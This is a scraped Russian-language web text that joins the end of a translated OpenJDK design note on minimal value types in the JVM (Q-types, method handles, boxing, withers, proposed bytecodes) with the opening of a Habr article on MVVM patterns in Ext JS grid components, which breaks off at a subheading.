Несобственные классы для Q-типов могут возникать при использовании рефлексивного API примерно там же, где возникают примитивные псевдо-типы (вроде `int.class`). Эти API включают как самые основы рефлексии (`Class` и типы в `java.lang.reflect`), так и новые API в `java.lang.invoke`, такие как `MethodType` и `MethodHandles.Lookup`. Константы константного пула, которые работают с этими типами, могут обращаться с Q-типами точно так же, как с L-типами, а все различия отражены верным выбором объектов `Class`.
(Несобственные классы иногда называются крассами, созвучно английскому слову «crass» — «грубый». Этот каламбур имеет целью подчеркнуть, что такой красс существует исключительно для материализации подобного разделения в рантайме. Основной класс — это нечто, возвращаемое методом `Class.forName`, что предназначена представлять класс в отношении один к одному. С свою очередь, «красс» — это что угодно другое, но все еще имеющее тип `java.lang.Class`. [Более строгий подход](http://cr.openjdk.java.net/~mcimadamore/reflection-manifesto.html) к рефлексии использует «отражения классов» в достаточной степени материализованной иерархии типов интерфейсов).
Как всегда, API ссылок на методы можно использовать для манипуляции с массивами, загрузки и выгрузки полей, для вызова методов и получения ссылок на методы. Отражения Q-типа будут, в общем случае, работать примерно как существующие отражения примитивов, сообщая JVM о необходимости передавать данные как чистое значение, а не ссылку на его бокс.
Трансформации, которые могут изменять типы (такие как `asType`) будут делать боксинг и анбоксинг типов-значений точно так же, как они делают это с боксингом и анбоксингом примитивов. Поэтому, следующий код создает ссылку на метод, отбоксит значение типа `DobuleComplex` в отдельный объект:
```
Class srcType = DoubleComplex.class;
Class qt = ValueType.forClass(srcType).valueClass();
MethodHandle mh = identity(qt).asType(methodType(Object.class, qt));
```
Конечно, преобразующий методы `MethodHandle.invoke` даст возможность пользователям работать со ссылками на объекты для Q-типов: или в терминах боксовых типов, как это прямо сейчас уже реализовано в языке Java, или (используя соответствующие байткоды) более непосредственно, в терминах Q-типов.
Боксовые значения
=================
Боксинг полезен для обеспечения взаимодействия между Q-типами и API, которые все еще используют ссылки на `Object` для выполнения каких-то обобщенных действий. Многие инструменты (такие как отладчики, логгеры, или какой-нибудь `println`), подразумевают на вход стандартный формат `Object`, это позволяет отображать им произвольнее данные. VCC L-типа или Q-типа (короче, какой бы механизм в конце концов не прикрутили в качестве контейнера Q-типов) играют важное значение не только в текущем прототипе, но и, скорей всего, останутся в полностью завершенной системе.
Как мы отмечали раньше, экземпляры VCC (которые имеют L-тип), в первую очередь используются как боксы для значений соответствующего Q-типа. API ссылок на методы позволит реализовать такие операторы преобразований боксинга-анбоксинга, которые будут выглядеть как ссылки на методы, или даже смогут неявно применяться к аргументам.
VCC L-типа также позволят сделать красивую спецификацию для части возможностей Q-типов, например `toString` — можно будет написать их как обычные Java методы с использованием L-типов. Рантайм поиска ссылок на методы будет следить за различиями между боксовым и небоксовым получателем (`this`), и по ресурсам это будет почти ничего не стоить (HotSpot JVM уже обладает достаточным набором оптимизаций скаляризации, которые позволят выбросить этап боксинга).
Есть предположение, что самые горячие циклы будут сразу конструироваться с использованием небоксовых данных, которые пройдут по всем горячим путям. Значит, боксинг наиболее ценен на начальной стадии, во время загрузки классов, и для периферийных операций типа `println`.
Так как VCC являются value-based, не следует делать синхронизацию на боксах, делать какие-то решения на основе идентичности ссылок, пытаться изменять их поля, или пытаться использовать null для проверки боксов.
(*Заметка*: эти ограничения, скорей всего, останутся в силе, даже если в будущем сами боксы поменяются).
Будущие версии JVM *могут* помочь в определении (или даже подавлении) некоторых из этих ошибок, а также они могут предоставить дополнительные оптимизации, если вдруг заметят такие боксы (и это не потребует полного escape analysis).
Тем не менее, такая помощь и оптимизации могут быть не нужны для текущей минимальной реализации. Код, который работает с Q-типами будет, по самой своей сути, полностью устойчив к таким багам, поскольку Q-типы несинхронизуемы, немутабельны, и не могут быть null.
Фабрики значений
================
Получив возможность выполнять ссылки на методы, которые работают с Q-типами, все остальные возможности (временно) могут быть использованы исключительно посредством ссылок на методы. Включая следующее:
* Преобразующие операции (такие как боксинг)
* Получение значений по-умолчанию для Q-типов
* Создание Q-типов
* Сравнение Q-типов
* Вызов методов, определенных для Q-типов
* Чтение полей Q-типов
* Обновление полей Q-типов
* Чтение и запись полей (или элементов массивов), имеющих Q-тип
* Конструирование, чтение и запись массивов Q-типов
`MethodHandles.Lookup` и API `MethodHandles` сможет работать над Q-типами (представленными как Class-объекты), и предоставят методы, которые смогут выполнять практически все эти функции.
(**Заметка:** иногда полезно думать об этих операциях как о недостающих байткодах. Они могут использоваться вместе с `invokedynamic`, чтобы эмулировать те байткоды, которые потребуются экспериментальным транслятором. Рано или поздно, некоторые из множества таких байткодов «осядут» прямо в основном наборе байткодов JVM, и тогда использование `invokedynamic` понемногу станет уменьшаться).
Существующее API ссылок на методы должно быть улучшено следующим способом:
* Фабрики `MethodType` должны принимать объекты `Class`, представляющие Q-типы, точно так же, как сейчас это делается для примитивов.
* `invoke`, `asType` и `explicitCastArguments` должны работать с парами Q-типам/L-тип так же, как они работают с парами примитив/обертка.
* `Lookup.in` позволит свободно делать преобразования между парами Q-тип/L-тип (без потери привилегированных режимов)
* Нестатический поиск по Q-типам будет возвращать ссылки на методы, первый параметр которых будет именно Q-типом (но не L-типом)
* `Lookup.findVirtual` предоставит все доступные нестатические методы Q-типа, если ему передали класс Q-типа.
* `Lookup.findConstructor` предоставит все доступные конструкторы изначального VCC, как для Q-типа, так и для легаси L-типа. Тип возвращаемого значения ссылки на метод, возвращенный из `findConstructor` будет идентично искомому классу, даже если он имеет Q-тип.
* Методы `findVirtual` и `findConstructor` могут также производить ad-hoc pattern matching (*требует обсуждения!*) на методах с модификаторами `private static`, принадлежащих изначальному L-типу, и это можно считать конвенцией для добавления методов только к Q-типу. (Это полезно в случае, когда эти методы сложно или неправильно делать виртуальными методами L-типа).
* Фабрика `identity` должна поддерживать Q-типы
* Фабрика `empty` должна поддерживать Q-типы, производя такую ссылку на метод, которая вернет значение по-умолчанию для данного типа.
* Все фабрики, занимающиеся обработкой массивов, должны поддерживать Q-типы, производя методы для создания, чтения и записи массивов Q-типа. (Включая `arrayConstructor`, `arrayLength`, `arrayElementGetter`, and `arrayElementSetter`, плюс варианты с var-handle. Следует отметить, что некоторые из этих фабрик могут бросать исключения, если вдруг соответствующие типы массивов не поддерживаются).
* Все преобразователи должны принимать ссылки на методы, которые работают с Q-типами, точно так же, как это сейчас происходит с примитивными типами.
(**Заметка:** да, метод типа-значения, получается с помощью `findVirtual`, несмотря на то, что виртуальность не существует для final классов. Более слабый вариант — подключить к этому `findSpecial`, или использовать новое API `findDirect`, для того, чтобы подчеркнуть разницу. Но поскольку Java уже нормально живет с «final virtual» методами, мы все-таки будем использовать существующие инструменты.)
Поиск ссылки на метод на L-типах, скорее всего, сможет дать дополнительные результаты, несмотря на то, что (в зависимости от модели экспериментов пользователя) некоторые методы на на L-типах могут быть скрыты, по причине того что боксовые типы будут не такими выразительными, по сравнению со своими типами-значениями. Конечно, виртуальные метод L-типа, представленный как ссылка на метод, будет принимать параметр получателя L-типа, а не Q-типа.
С другой стороны, как сказано выше, мы можем придумать специализированные конвенции для связи private static методов L-типа, с помощью ссылок на методы, как если бы они были конструкторами или нестатическими методами Q-типа. Это станет дополнительной договоренностью между стратегией трансляции и рантаймом ссылок на методы, о котором JVM ничего не узнает. Статические методы, видимые только для рантайма ссылок на методы, будут содержать некие куски логики, предназначенные *только* для использования Q-типом. Ну и конечно, мы превратим все такие штуки в байткоды и задвинем под капот JVM.
Также как и value-based классы, VCC необходимо переопределись все соответствующие методы из `Object`. Производные Q-типы *не* наследуют, и не отвечают на стандартные методы `Object`. Они отвечают только на те методы, для которых самостоятельно реализовали точно такую же сигнатуру (например, можно реализовать свой `toString`).
Дополнительные функции, о которых дальше идет речь, (*на данный момент*) не укладываются в API `MethodHandle`, и поэтому скомпонованы в класс поддержки `jdk.experimental.value.ValueType`.
`ValueType` будет содержать следующие методы:
```
public class ValueType {
...
MethodHandle defaultValueConstant();
MethodHandle substitutabilityTest();
MethodHandle substitutabilityHashCode();
MethodHandle findWither(Lookup lookup, Class refc,
String name, Class type);
}
```
Метод `defaultValueConstant` возвращает ссылку на метод, которая не принимает аргументов, и возвращает значение по-умолчанию для этого Q-типа. Это эквивалент (скорей всего, куда более эффективный) для создания массива из одного элемента этого типа-значения с последующей загрузкой результата.
Метод `substitutabilityTest` возвращает ссылку на метод, которая сравнивает два операнда переданного Q-типа и выносит решение о возможности их взаимозаменяемости (взаимоподстановке). В частности, поля сравниваются парами на предмет взаимозаменяемости, и результат является логической конъюнкцией всех этих сравнений. Примитивы и ссылки являются взаимозаменяемыми тогда и только тогда, когда они равны при использовании соответствующей версии оператора `==` языка Java, *исключая* специальный случай с float и double, которые вначале конвертируются в «сырые биты», и только потом сравниваются.
Так же, метод `substitutabilityHashCode` возвращает ссылку на метод, который возвращает ссылку на метод, который принимает один операнд Q-типа, и возвращает хэш-код, который гарантированно равен для двух значений этого типа, если они взаимозаменяемы, и скорей всего разный хэш-код в остальных случаях.
(Открытый вопрос в том, следует ли расширить размер этого хэш-кода до 64 бит. Скорей всего, в самом начале он будет представлен как 32-битная композиция хэш-кодов полей типа-значения, используя легаси значения хэш-кодов. Композиция под-кодов, вероятно, будет в самом начале использовать base-31 полином, хотя мы и понимаем, что такая технология композиции чрезвычайно неоптимальна).
Метод `findWither` работает аналогично `Lookup.findSetter`, за исключением того, что результирующая ссылка на метод всегда создает новое значение, полную копию предыдущего значения, за исключением того, что соответствующее поле изменено для хранения нового значения. Так как у значений нет собственной идентичности, это — единственный логически возможный способ обновлять значение поля.
Чтобы ограничить использование таких «wither» примитивов, параметр `refc` и класс будут проверяться относительно соответствия Q-типу этого `ValueType`. Если они не относятся к одному и тому же Q-типу, доступ будет ограничен. Это ограничение доступа в будущем может расшириться. Типы-значения могут, конечно, определить специальные winther-методы с собственными именами, которые инкапсулируют всю подобную логику. В том числе, можно сделать байткод для `withfield`, тогда он будет напрямую выражать операцию обновления поля, но в этом случае придется решать всё те же проблемы ограничения доступа.
(Имя метода *wither* не означает «отравлять» или «портить» что-либо, как это видно из словаря английского языка. Это отсылка к конвенции наименования для методов, которые занимаются функциональным обновлением значений записи. Запросив у комплексного числа `c.withRe(0)`, мы получим в результате новое, полностью мнимое число. В сравнении с этим, `c.setRe(0)`, т.е. вызов *сеттера*, изменит само комплексное число, удалив из него любую непутевую реальную часть. Методы-сеттеры хорошо подходят для изменяемых объектов, в то время как wither-методы больше подходят для значений. Заметьте, что метод, на самом деле, может быть и гетерам, и сеттером, и wither’ом, даже если он не начинается ни с одного из этих стандартных слов (get, set, wither). Поэтому однажды конвенции типов-значений могут просто поменяться, и формы типа `withRe(0)` заменятся просто на `re(0)`).
Скорей всего, все эти методы из `ValueType` однажды станут виртуальными методами класса `Lookup`, либо статическими методами `MethodHandles`, в зависимости от ведущего аргумента.
Эти методы также являются кандидатами на непосредственную реализацию в виде байткодов, как и многие другие существующие ссылки на методы непосредственно выражены [эквивалентными операциями](http://docs.oracle.com/javase/8/docs/api/java/lang/invoke/MethodHandles.Lookup.html#equiv) в байткоде.
Ниже приведена таблица, резюмирующая новые ссылки на методы и гипотетические байткоды для их операций над типами-значениями. Третья колонка показывает и общий эффект гипотетического байткода, и тип реальной ссылки на метод. В этой таблице, почти каждый тип может стать Q-типом, мы даже делаем ударение этих `Q` в начале. Тип `QC`, в частности, означает тип-значение, над которым производятся операции. Сложное обозначение `VT` обозначает экземпляр `ValueType`, производного от этого Q-типа.
Тип `RC` в самом конце списка акцессоров полей Q-типа в обычных объектах, является обычным L-типом. Заметьте, что Q-типы («работающие как int!») могут читаться и писаться во все поля и элементы массивов.
Эта таблица не покрывает множество ссылок на методы, которые всего лишь копируют значения Q-типа, загружают или сохраняют их в нормальные объекты и массивы. Такие операции могут встречаться во множестве мест, включая `findStaticGetter`, `findStaticSetter`, `findVirtual`, `findStatic`, `findStaticSetter`, `arrayElementSetter`, `identity`, `constant`, итд, итп.
ВСЁ ЭТО СКОРО ИЗМЕНИТСЯ
=======================
Описанные выше байткоды и API `не являются конечным вариантом` типов-значений в Java. Код, разработанный для этой минимальной реализации, совершенно точно будет выброшен и переписан сразу же, как появится полная версия.
Дальнейшая работа
=================
Этот минимальный документ, по своей сути временный. Он дает необходимую основу для начала дальнейших работ, а не выдает окончательную спецификацию. Часть дальнейшей работы будет точно такой же временной по своей сути, но по ходу дела, основываясь на наших успехах, и учась на ошибках, однажды мы создадим хорошо спроектированную спецификацию, которой будет место под солнцем.
Текущий набор функциональности, поддерживающей типы-значения, будет очень сложно использовать. Это сделано специально. Оставшаяся часть документа дает некий набросок дополнительной функциональности, которая поможет в экспериментах, которые не сильно практичны, или вообще невозможны, с текущим минимальным набором возможностей.
Q-типы в исходном коде на языке Java
------------------------------------
Если брать самый минимум, то для работы с Q-типами язык менять не обязательно. Комбинация паков в JVM (VCC), трансформации классфайлов с помощью аннотаций и прямая генерация байткода — достаточны чтобы поупражняться с интересными микро-бенчмарками. Ссылки на методы дают вполне рабочую альтернативу прямой генерации байткода, и предполагается сделать их полностью совместимыми с работой над Q-типами (об этом ниже).
Тем не менее, здесь нет ничего похожего на поддержку в языке. Скорей всего, первые же эксперименты с `javac` позволят простым образом ссылаться на Q-типы и создавать для них переменные, прямо в Java коде (с учетом очевидных по смыслу ограничений).
В частности, конструкторы объектов в байткоде будут сильно отличаться по виду от как будто бы эквивалентных конструкторов типов-значений. (Пока все поля — final, синтаксис для конструкторов объектов отлично ложится и на конструкторы типов-значений). Разумно будет сделать так, чтобы javac взял на себя ответственность за компиляцию байткода для обоих версий конструктора VCC).
Точно так же, прямо из Java было бы удобно напрпямую вызывать конструкторы типов-значений и совершать прямой доступ к методам и полям типов-значений, даже если они в конце концов будут превращаться в вызовы `invokedynamic`, пока готовится их поддержка в байткодах.
Q-подстановки в VCC
-------------------
VCC, собранный из исходника на Java, может использовать дополнительные аннотации (или может быть, атрибуты) на своих полях и методах, которые приводят к созданию Q-типов одновременно с тем, как трансформируется байткод, для которого загружаются и компилируются VCC.
Явно пригодится пара трансформаций, которые называются Q-подстановка и Q-перегрузка. Первая удаляет L-типы и заменяет их соответствующими Q-типами. Вторая просто копирует методы, заменяя некоторые (или вообще все) из тех, что имеют L-типы в дескрипторе, соответствующими Q-типами. Набор идей по этому поводу отслеживается в [JDK-8164889](http://bugs.openjdk.java.net/browse/JDK-8164889).
В качестве альтернативы для Q-подстановки на основе аннотаций, можно использовать экспериментальную возможность в языке, которая позволила бы напрямую использовать Q-типы в исходном коде на языке Java. Такие эксперименты, скорей всего, будут происходить как честь проекта Valhalla, и если повезет — они произойдут достаточно скоро, чтобы трансформации можно было не реализовывать.
Еще больше байткодов
--------------------
* Библиотечную ссылку на метод `defaultValueConstant` можно заменить новым байткодом `vdefault`, или байткодом `aconst_null` с префиксом.
* Библиотечную ссылку `substitutabilityTest` можно заменить на новый байт код `vcmp`, или `if_acmpeq`с префиксом.
* Ссылку `findWither` можно поменять на новый байт код `vwithfieldЙВ`.
* `findGetter` можно заменить на улучшенный соответствующим образом байткод `getfield`
* `arrayConstructor` отлично заменяется на улучшенный байткод `anewarray` либо на `multianewarray`.
* `arrayElementGetter` заменяется на новый байткод `vaload`, или `aaload` с префиксом
* `arrayElementSetter` заменяется на новый байткод `vastore` или `aastore` с префиксом.
* `arrayLength` заменяется на улучшенный байткод `arraylength`
Можно внезапно обнаружить, что у этого дизайна есть отличное свойство: он основан на едином наборе *универсальных байткодов* (или макро-байткодов с префиксом), которые работают симметрично для всех ссылок, значений и примитивов, позволяя им использовать любой дескриптор типа, на е только Q-типы. Такие «универсальные байткоды» заслуживают собственной конвенции наименований, типа `uload`, `ustore`, `uinvoke`, `ucmp`, `u2u`, итп. Если же байткоды работают только над значениями, мы можем использовать конвенцию начальной буквой v.
Как и в дескрипторах типа `I`, используемого в JVM для работы с int, short, boolean, char и byte, дескриптор типа `L` (с классом) используется для хранения любых L-типов, так же как дескриптор типа `Q` (с классом) используется для хранения любых K-типов. В результате, вне зависимости от того, что I-типов всего четыре, а L-типов может быть неограниченное количество, в JVM существует всего три типа-носителя, которые на самом деле и выполняют всю эту работу. (Еще существуют мономорфные типы-носители для long, float и double). Очевидно, что носитель L-типа — это одно машинное слово, указывающее на кучу, а вот носитель Q-типа более сложный, это не только структура данных, которая обозначающая «прицеп» с каким-то значением, но и еще и описание его размера и разметки в памяти (как минимум, это нужно для GC). В действительности, он должен еще и описывать класс значения. В конце концов, носитель Q-типа — просто такой вид типизированного локатора для буфера, который может находиться в любом месте (куча Java, куча C, стек треда).
Больше структур данных
----------------------
Минимальный вариант может не рассматривать множество корнер-кейсов, которые получаются из пересечения всевозможных описанных здесь возможностей. Явное описать этих ситуаций может оказаться полезным. Кроме того, со временем ограничения на типы-значения и примитивы будут уменьшаться. В функциональность можно добавить множество разных вещей:
* Разрешить типам-значениям объявлять поля непримитивных типов (Q-типов и L-типов)
* Реализовать плоские массивы на всех доступных типах-значениях
* Добавить поддержку атомарного доступа до значений (например, `volatile` полей)
* Предоставить аннотации для сверх-выравнивания значений (в смысле, сверх того ограниченного выравнивания, которое позволяет JVM, особенно для 64-битных данных)
* Предоставить низкоуровневую («unsafe») рефлексию по внутренней организации типов-значений внутри JVM
* Научить типы-значения представлять не только обычные, но и внешние типы (например, `unsigned` для C) или какие-то безопасные указатели (например, адрес плюс + тип + область действия)
* Оптимизировать производительность и плотность хранения данных всего вышеописанного.
* Что-нибудь сделать для обнаружения и предупреждения вопиюще безграмотного использования value-based типов, таких как `Integer` и боксы Q-типов. Например, кидать ошибку при попытке синхронизоваться на них.
* Добавить поддержку методов, вызываемых напрямую из типов-значений.
* Добавить поддержку реализации интерфейсов непосредственно для типа-значения, и в особенности, выполнение default-методов этих интерфейсов.
* Предоставить тип, могущий напрямую представлять как значения Q-типа, так и L-типа.
* Оформить видение стандартных способов взаимодействия со значениями, включая методы для печати, сравнения и хэширования.
* Добавить специальные дженерики, поддерживающие и Q-типы, и примитивы. (Обратить на это особое внимание!)
Если типы-значения полностью будут интегрированы с интерфейсами, Q-типы должны наследовать `default`-методы из супертипов. Это — ключевая точка взаимодействия между обобщенными алгоритмами и структурами данных (такими как сортировки и `TreeMap`). В минимальной версии, нужно боксить значения и запускать default-методы из боксов, а это может привести к печальным последствиям для производительности. В полной реализации, исполнение методов по умолчанию должно оптмизироваться для каждого конкретного типа-значения. Кроме того, следует создать Фреймворк, который будет проверять, что эти default-методы сами по себе хорошо работают с типами-значениями (в частности, никаких null, синхронизации, органиченный `==`, тип). Придется провести огромную работу на эту тему.
Похоже, довольно сложно создать массив со значениями с типом `QT[]`, который будет подтипом массива-интерфейса `I[]`, даже если интерфейс `I` является супертипом для типа-значения `QT`. Дальнейшая работа над структурой типов JVM, возможно, позволит делать и так. Типы интерфейсов `I` точно относятся к лагерю L-типов, в данный момент, а интерфейсы массивов — это массивы ссылок, ибо являются подтипами `Object[]`. Но массив типов-значений `QT` не может быть прозрачно обработан в качестве массива ссылок.
Brige-o-matic
-------------
В некоторых случаях, добавить поддержку методов API, которые поддерживали бы Q-типы можно всего лишь создав соответствующие переходники. Трансформаторы байткода, или генераторы, могут вообще не генерировать тела таких методов-переходников, если переходники (вместо байткодов) имеют специально организованные бутстрап-методы. Такой способ думать об этом ведет к множеству следствий и полезных использований, включая автогенерацию стандартных методов `equals`, `hashCode` и `toString`. Работа над этим направлением ведется в рамках [JDK-8164891](http://bugs.openjdk.java.net/browse/JDK-8164891).
Настоящие (JVM-native) классфайлы типов-значений
------------------------------------------------
Минимальная функциональность предлагает использовать загрузку, построенную от боксов, т.е. нужно загружать POJO и потом производить из них значения и боксы к ним. Вначале предполоагалось, что боксы будут просто POJO, а типы значения внутри будут получаться простым копированием полей из них. Даже методы, которые предназначены исключительно для работы с типами-значениями, для начала должны быть методами в POJO.
Но со временем это изменится, и значения будут грузиться напрямую, из специально модифицированных файлов классов, а боксы будут создаваться уже после загрузки этих типов-значений.
По ходу того, как формат загрузки, основанный на использовании POJO, будет устаревать, боксы могут как продолжать быть просто POJO, так и превратиться во что-нибудь совершенно другое.
Все эти новшества будет относительно дорогими, поскольку потребуют от пользователей типов-значений обновления инструментария (компилятора, отладчика, IDE, тип). Эти инструменты должны поддерживать нестандартную функциональность, которая появится благодаря введению типов-значений. Как было отмечено выше, некоторая убогость минимальной реализации как раз и связана с тем, чтобы *избежать* всех тех проблем, которые в конце концов приводят к обновлению тулчейна. Это такие вещи как:
* Формат файлов классов, который может напрямую учитывать типы-значения (например бит `ACC_VALUE` в заголовках)
* Использование Q-типов в исходном коде на изначальном языке программирования
* Байткоды для прямой загрузки полей Q-типов, и в поля внутри Q-типа
* Байткоды для прямого вызова методов Q-типа
* Полная интеграция типов-значений с массивами, интерфейсами, тип
Гейзенбоксы
-----------
Как было предложено выше, L-типы для значений являются value-based, и в какой-то версии JVM может попытаться проконтролировать это:
* Синхронизация бокосового Q-типа может бросать исключение, например `IllegalMonitorStateException`
* Ссылочные проверки (оператор `==` в Java, или инструкция `acmp`) могут ответить `true` для двух эквивалентных боксовых значений Q-типов, даже если сами ссылки как таковые и не равны. Конечно, это потребует отдельной проработки логики постановок для Q-типов. Два бокса, для которых хотя бы однажды было установлена эквивалентность, далее всегда будут считаться взимозаменяемыми.
* Попытки писать значения с помощью рефлексии прямо в поля Q-типа желательно блокировать, даже если кто-то позовет`setAccessible`.
* Попытки с помощью рефлексии звать конструктор бокса тоже следует заворачивать, даже если кто-то установит `setAccessible`.
Боксы, идентичность которых друг другу меняется от случая к случаю, называется «гейзенбоксами». Чтобы провести аналогию, ссылочная эквивалентность (`==`, `acmp`) двух гейзенбоксов коллапсирует их в один и тот же объект, поскольку это мгновенно означает их полную взаимозаменяемость по отношению ко внешнему коду, и следовательно, их Q-значения тоже эквивалентны. Эти две копии когда-нибудь в будущем могут потерять когерентность, проверки эквивалентности будут завершаться неудачей, но их внешняя взаимозаменяемость от этого не сломается. Что случится с предикатом эквивалентности в этом случае, можно понять, засунув их в бокс с котом Шредингера, и наблюдая множество загадочных и печальных последствий… Все это обсуждается в рамках [JDK-8163133](http://bugs.openjdk.java.net/browse/JDK-8163133).
Авторы
======
**Джон Роуз** — инженер и архитектор JVM в Oracle. Ведущий инженер Da Vinci Machine Project (часть OpenJDK). Ведущий инженер JSR 292 (Supporting Dynamically Typed Languages on the Java Platform), занимается спецификацией динамических вызовов и связанных вопросов, таких как профилирование типов и улучшенные компиляторные оптимизации. Раньше работал над inner classes, делал изначальный порт HotSpot на SPARC, Unsafe API, а также разрабатывал множество динамических, параллельных и гибридных языков, включая Common Lisp, Scheme («esh»), динамические биндинги для C++.
**Брайан Гёц** — Senior Java Language Architect в Oracle, работает над развитием языка и платформы Java. C поглощением Sun Oracle-ом работает над проработкой наиболее перспективных проектов, включая Value Types. В прошлом известен как человек, опубликовавший под сотню статей по внутреннему устройству платформы Java, практикам разработки под нее, параллельному программированию. Именно он является главным автором мирового бестселлера Java Concurrency in Practice. Также Брайан участвует в конференциях, и обычно рассказывает о модели памяти Java, сборке мусора, перфомансе, и так далее.
Переводчики
===========
**Олег Чирухин** — на момент написания этого текста, работает архитектором в компании «Сбербанк-Технологии», занимается разработкой архитектуры систем автоматизированного управления бизнес-процессами. До перехода в Сбербанк-Технологии, принимал участие в разработке нескольких государственных информационных систем, включая Госуслуги и Электронную Медицинскую Карту, а также в разработке онлайн-игр. Спикер на [конференциях JUG.ru](https://jokerconf.com/) (JPoint, JBreak). Текущие исследовательские интересы включают виртуальные машины, компиляторы и языки программирования.
Благодарности
=============
Большое спасибо [Тагиру Валееву](https://jokerconf.com/2017/talks/3k7h62vzooscoysmwkgqo8/) и [Владимиру Иванову](http://2016.jokerconf.com/speakers/vladimir-ivanov/), давшим необычайно полезные комментарии по сути вопроса. Ваш скептицизм и критика были неоценимы, и все-таки я дописал эту статью :-) | https://habr.com/ru/post/336378/ | null | ru | null |
# Нюансы MVVM в Ext JS при разработке компонентов
[](http://habrahabr.ru/post/266773/) Всем привет. Прошло немало времени с момента выхода Ext JS 5, где представили возможность разработки приложений с использованием паттерна MVVM. За это время я успел столкнуться с некоторыми трудностями, о которых хотел бы рассказать.
Начну с того, что в Ext JS 4 (а предварительно в Sencha Touch) при создании компонентов их конфигурационные свойства объявлялись в объекте *config*, для каждого из которых автоматически создавался свой getter и setter. Несмотря на то, что вручную писать все обработчики могло быть несколько утомительно, это был стандартный подход.
В пятой же версии Ext JS используя MVVM можно было легко избавиться от доброй части рутины: удалить конфигурационные свойства и их обработчики, а вместо этого привязаться к нужному свойству или формуле ViewModel'и. Кода становилось значительно меньше, а читаемость — лучше.
Но меня беспокоил вопрос инкапсуляции. Что если в процессе разработки часть функциональности я захочу вынести в отдельный компонент для повторного использования? Нужно ли при этом создавать собственную ViewModel? Как изменять состояние компонента: обращаться напрямую к его ViewModel'и или всё-таки стоит использовать конфигурационные свойства и их публичные setter'ы?
Мысли об этом и других вопросах, а также примеры с напильником — под катом.
Часть 1. Используем ViewModel
-----------------------------
Давайте попробуем создать, к примеру, таблицу каких-нибудь пользователей. Чтобы она могла добавлять и удалять записи, но при необходимости переходить в режим только чтения. Также я хочу, чтобы кнопка удаления содержала имя выделенного пользователя.
### Пример 1. Стандартный подход
Как бы мы это сделали без использования MVVM?
[Посмотреть в Sencha Fiddle](https://fiddle.sencha.com/#fiddle/tqg)
**Fiddle.view.UsersGrid**
```
Ext.define('Fiddle.view.UsersGrid', {
extend: 'Ext.grid.Panel',
xtype: 'usersgrid',
config: {
/**
@cfg {Boolean} Read only mode
*/
readOnly: null
},
defaultListenerScope: true,
tbar: [{
text: 'Add',
itemId: 'addButton'
}, {
text: 'Remove',
itemId: 'removeButton'
}],
columns: [{
dataIndex: 'id',
header: 'id'
}, {
dataIndex: 'name',
header: 'name'
}],
listeners: {
selectionchange: 'grid_selectionchange'
},
updateReadOnly: function (readOnly) {
this.down('#addButton').setDisabled(readOnly);
this.down('#removeButton').setDisabled(readOnly);
},
grid_selectionchange: function (self, selected) {
var rec = selected[0];
if (rec) {
this.down('#removeButton').setText('Remove ' + rec.get('name'));
}
}
});
```
**Установка режима Read only**
```
readOnlyButton_click: function (self) {
this.down('usersgrid').setReadOnly(self.pressed);
}
```
Довольно многословно, зато понятно: вся логика работы компонента находится внутри. Нужно оговориться, что можно использовать ViewController'ы, и это тоже будет считаться частью компонента, но в примерах я обойдусь без них.
### Пример 2. Добавляем MVVM
Уберём обработчики кода и заменим их привязками (bind).
[Посмотреть в Sencha Fiddle](https://fiddle.sencha.com/#fiddle/tqq)
**Fiddle.view.UsersGrid**
```
Ext.define('Fiddle.view.UsersGrid', {
extend: 'Ext.grid.Panel',
xtype: 'usersgrid',
reference: 'usersgrid',
viewModel: {
data: {
readOnly: false
}
},
tbar: [{
text: 'Add',
itemId: 'addButton',
bind: {
disabled: '{readOnly}'
}
}, {
text: 'Remove',
itemId: 'removeButton',
bind: {
disabled: '{readOnly}',
text: 'Remove {usersgrid.selection.name}'
}
}],
columns: [{
dataIndex: 'id',
header: 'id'
}, {
dataIndex: 'name',
header: 'name'
}]
});
```
**Установка режима Read only**
```
readOnlyButton_click: function (self) {
this.down('usersgrid').getViewModel().set('readOnly', self.pressed);
}
```
Выглядит значительно лучше, правда? Особенно, если представить, что входных параметров кроме readOnly может быть гораздо больше — тогда разница будет колоссальной.
Сравнивая эти примеры, напрашиваются некоторые вопросы:
***Вопрос 1. Где мы должны были создавать ViewModel? Можно ли было описать её во внешнем контейнере?***
— С одной стороны, можно, но тогда мы получаем сильную связанность: каждый раз, когда мы переносим этот компонент в другое место, мы будем обязаны не забыть добавить свойство readOnly во ViewModel'и нового контейнера. Так легко ошибиться и вообще родительский контейнер не должен знать о внутренностях компонентов, которые в него добавляются.
***Вопрос 2. Что такое reference? Почему мы прописали его внутри компонента?***
— Reference — это аналог id компонента во ViewModel'и. Мы прописали его потому что для кнопки Remove стоит привязка к имени выделенного пользователя, а без указания reference это работать не будет.
***Вопрос 3. А правильно ли так делать? Что если я захочу добавить два экземпляра в один контейнер — у них будет один reference?***
— Да, и это конечно же неправильно. Нужно подумать, как это решить.
***Вопрос 4. Правильно ли обращаться к ViewModel'и компонента извне?***
— Вообще, работать оно будет, но это опять обращение к внутренностям компонента. Меня, по идее, не должно интересовать, есть у него ViewModel или нет. Если я хочу изменить его состояние, то я должен вызвать соответствующий setter как это и было когда-то задумано.
***Вопрос 5. Можно ли всё-таки использовать конфигурационные свойства, и при этом привязываться к их значениям? Ведь в документации для этого случая есть свойство [publishes](https://docs.sencha.com/extjs/6.0/6.0.0-classic/#!/api/Ext.mixin.Bindable-cfg-publishes)?***
— Можно и это хорошая идея. Кроме, конечно, проблемы с явным указанием reference в привязке. Установка режима readOnly в данном случае будет такой же, как и в Примере 1 — через публичный setter:
**Пример 3. Fiddle.view.UsersGrid**
```
Ext.define('Fiddle.view.UsersGrid', {
extend: 'Ext.grid.Panel',
xtype: 'usersgrid',
reference: 'usersgrid',
viewModel: {
},
config: {
readOnly: false
},
publishes: ['readOnly'],
tbar: [{
text: 'Add',
itemId: 'addButton',
bind: {
disabled: '{usersgrid.readOnly}'
}
}, {
text: 'Remove',
itemId: 'removeButton',
bind: {
disabled: '{usersgrid.readOnly}',
text: 'Remove {usersgrid.selection.name}'
}
}],
columns: [{
dataIndex: 'id',
header: 'id'
}, {
dataIndex: 'name',
header: 'name'
}]
});
```
[Посмотреть в Sencha Fiddle](https://fiddle.sencha.com/#fiddle/tr1)
### Кое-что ещё
